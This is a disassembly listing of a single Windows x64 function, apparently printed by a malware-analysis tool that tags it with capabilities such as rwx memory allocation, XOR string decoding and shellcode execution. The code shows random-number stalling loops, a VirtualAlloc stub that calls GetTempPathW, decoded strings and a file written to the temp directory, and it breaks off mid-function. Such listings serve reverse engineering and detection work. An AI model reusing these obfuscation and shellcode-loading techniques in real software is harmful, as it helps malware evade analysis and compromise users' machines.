Function at 0x1401f8c20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1860]
mov eax, 0x1960
call fcn.14025e970
sub rsp, rax
movaps xmmword [rsp + 0x1950], xmm6
movaps xmmword [rsp + 0x1940], xmm7
movaps xmmword [rsp + 0x1930], xmm8
movaps xmmword [rsp + 0x1920], xmm9
movaps xmmword [rsp + 0x1910], xmm10
movaps xmmword [rsp + 0x1900], xmm11
movaps xmmword [rsp + 0x18f0], xmm12
mov rax, qword [0x14027f040]
xor rax, rsp
mov qword [rbp + 0x17e0], rax
mov r12, rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x48], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r15d, 1
mov ecx, r15d
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f8cd0
mov dword [rbp + 0x240], 0x270
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x1401f8d3c
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x1401f8d20
shr rax, 0x20
lea r14d, [rax - 0x7ffffc19]
btc r14d, 0x1f
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f8d70
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x38]
call fcn.1401f37b0
mov rsi, qword [rsp + 0x38]
add rsi, 0x5f5e100
lea rcx, [rsp + 0x38]
call fcn.1401f37b0
cmp qword [rax], rsi
jge 0x1401f8f36
mov edi, 0x186a0
nop
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f8e0a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f8df0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f8e5a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8e40
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f8eaa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8e90
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f8efa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8ee0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r15
jne 0x1401f8dd0
jmp 0x1401f8db6
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x40]
call fcn.14025e754
lea rsi, [0x140000000]
lea rax, [rsi + 0x26c844]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 4
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], r8d
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0x48], rax
xor edi, edi
mov qword [rbp + 0xb0], rdi
mov dword [rbp + 0xb8], 4
mov edx, r14d
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [0x14026e340]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x14026e348]
mov edx, 0x2e
mov word [rsp + 0x38], dx
xor word [rsp + 0x3a], 0x3b
xor word [rsp + 0x3c], 0x3d
xor word [rsp + 0x3e], 0x3f
xor ax, 0x41
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
call fcn.140239c70
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov r14d, 7
mov qword [rbp + 0x38], r14
mov word [rbp + 0x20], di
mov dword [rsp + 0x48], 0x14
mov ecx, dword [rbp + 0xb8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1401f9086
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
test rdx, rdx
je 0x1401f9086
mov rax, qword [rbp + 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0xb0]
cmovb rdx, qword [rbp + 0xb0]
sub rdx, r9
jmp 0x1401f90b4
test cl, 4
jne 0x1401f90e5
mov rax, qword [rbp + 0x80]
mov rcx, qword [rax]
test rcx, rcx
je 0x1401f90e5
mov rax, qword [rbp + 0x60]
mov r9, qword [rax]
mov rax, qword [rbp + 0x98]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
sar rdx, 1
test r9, r9
je 0x1401f90e5
lea rcx, [rbp + 0x20]
cmp rdx, r14
ja 0x1401f90df
mov qword [rbp + 0x30], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x20], di
jmp 0x1401f90e5
call fcn.14023b630
nop
mov edi, 0xc
mov dword [rsp + 0x30], 0x104
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x1888]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], 0
xor ecx, ecx
lea r8, [0x14023a380]
mov rax, qword [0x1402850a0]
test rax, rax
je 0x1401f9169
xor edx, edx
nop word [rax + rax]
cmp rax, r8
je 0x1401f9158
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2850a0]
test rax, rax
jne 0x1401f9140
jmp 0x1401f9169
mov r9, qword [rsi + rdx*8 + 0x285d60]
test r9, r9
jne 0x1401f924f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
lea r8, [0x14023a380]
test rax, rax
je 0x1401f922e
mov rax, r8
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f91a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140285708]
mov qword [rsi + rax*8 + 0x2850a0], r8
mov qword [rsi + rax*8 + 0x285d60], r9
inc rax
mov qword [0x140285708], rax
lea r8, [rbp + 0x15d0]
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x1888]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x15d0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f92a1
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp - 0x20]
call fcn.14023ba90
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.1402384e0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x48], edi
lea rcx, [rbp - 0x20]
call fcn.140238470
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f9320
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x38]
call fcn.1401f37b0
mov r15, qword [rsp + 0x38]
add r15, 0x5f5e100
mov r13d, 1
nop dword [rax]
lea rcx, [rsp + 0x38]
call fcn.1401f37b0
cmp qword [rax], r15
jge 0x1401f94f6
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f93ca
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f93b0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f941a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9400
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f946a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9450
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f94ba
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f94a0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r13
jne 0x1401f9390
jmp 0x1401f9370
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call fcn.14025e754
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x130]
call fcn.140237f60
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
mov r13, qword [rsp + 0x50]
xorps xmm0, xmm0
je 0x1401fa1f0
movups xmmword [rbp - 0x20], xmm0
xor r15d, r15d
mov ecx, r15d
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], r14
mov word [rbp - 0x20], r15w
mov rdx, r12
cmp qword [r12 + 0x18], 7
jbe 0x1401f959b
mov rdx, qword [r12]
mov r8, rdx
jmp 0x1401f959e
mov r8, r12
mov rbx, rdx
mov rax, qword [r12 + 0x10]
lea rdi, [r8 + rax*2]
cmp rdx, rdi
je 0x1401f965f
mov r12d, 0x22
nop dword [rax]
movzx r9d, word [rbx]
cmp r9w, r12w
je 0x1401f95fc
cmp rcx, r14
jae 0x1401f95f1
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r14, 7
cmova rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x1401f9649
lea rcx, [rbp - 0x20]
call fcn.14023b4a0
jmp 0x1401f9649
mov eax, dword [0x14026e42c]
mov dword [rsp + 0x30], eax
movzx eax, word [0x14026e430]
mov word [rsp + 0x30], r12w
xor word [rsp + 0x32], 0x3b
xor ax, 0x3d
mov word [rsp + 0x34], ax
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f9630
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.1402369e0
add rbx, 2
cmp rbx, rdi
je 0x1401f965f
mov r14, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
jmp 0x1401f95c0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r14d, 1
mov ecx, r14d
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f9680
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], r15d
lea rcx, [rsp + 0x50]
call fcn.1401f37b0
mov rsi, qword [rsp + 0x50]
add rsi, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x50]
call fcn.1401f37b0
cmp qword [rax], rsi
jge 0x1401f9856
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f972a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f9710
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r14d
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f977a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9760
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f97ca
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f97b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f981a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140249bc0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f9800
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r14
jne 0x1401f96f0
jmp 0x1401f96d0
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [0x14026c390]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [str._._qnu]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x14026c3b0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14026c3c0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x14026c3d0]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x14026c3e0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x14026c3e8]
mov dword [rbp - 0x48], eax
mov r9d, r15d
mov edi, 0xff8a
mov ebx, dword [0x14027f090]
cmp ebx, 2
jl 0x1401f9a87
movdqa xmm8, xmmword [0x14026f1b0]
movdqa xmm6, xmmword [0x14026f2e0]
movdqa xmm7, xmmword [0x14026f310]
movdqa xmm9, xmmword [str.ggggkkkk]
movdqa xmm10, xmmword [0x14026f320]
movdqa xmm11, xmmword [str.99999999]
lea rcx, [rsp + 0x60]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x1401f9900
cmp r9d, 0x2e
jge 0x1401f9af4
movsxd rax, r9d
lea r10, [rsp + 0x60]
lea r10, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x67
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x39
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x1401f9aa0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.140239c70
movups xmm11, xmmword [str.nHUl__g]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x14026d690]
movq qword [rbp - 0x30], xmm12
mov eax, dword [0x14026d698]
mov dword [rbp - 0x28], eax
movzx eax, word [0x14026d69c]
mov word [rbp - 0x24], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f9d82
movdqa xmm6, xmmword [0x14026f2e0]
movdqa xmm7, xmmword [0x14026f310]
movdqa xmm9, xmmword [str.ggggkkkk]
movdqa xmm8, xmmword [0x14026f320]
movdqa xmm10, xmmword [str.99999999]
movdqa xmm5, xmmword [0x14026f1b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x14026f1d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x14026f1f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x67
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x39
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x1401f9d90
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.140239c70
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.140240970
mov r11, rax
movups xmm11, xmmword [0x14026d980]
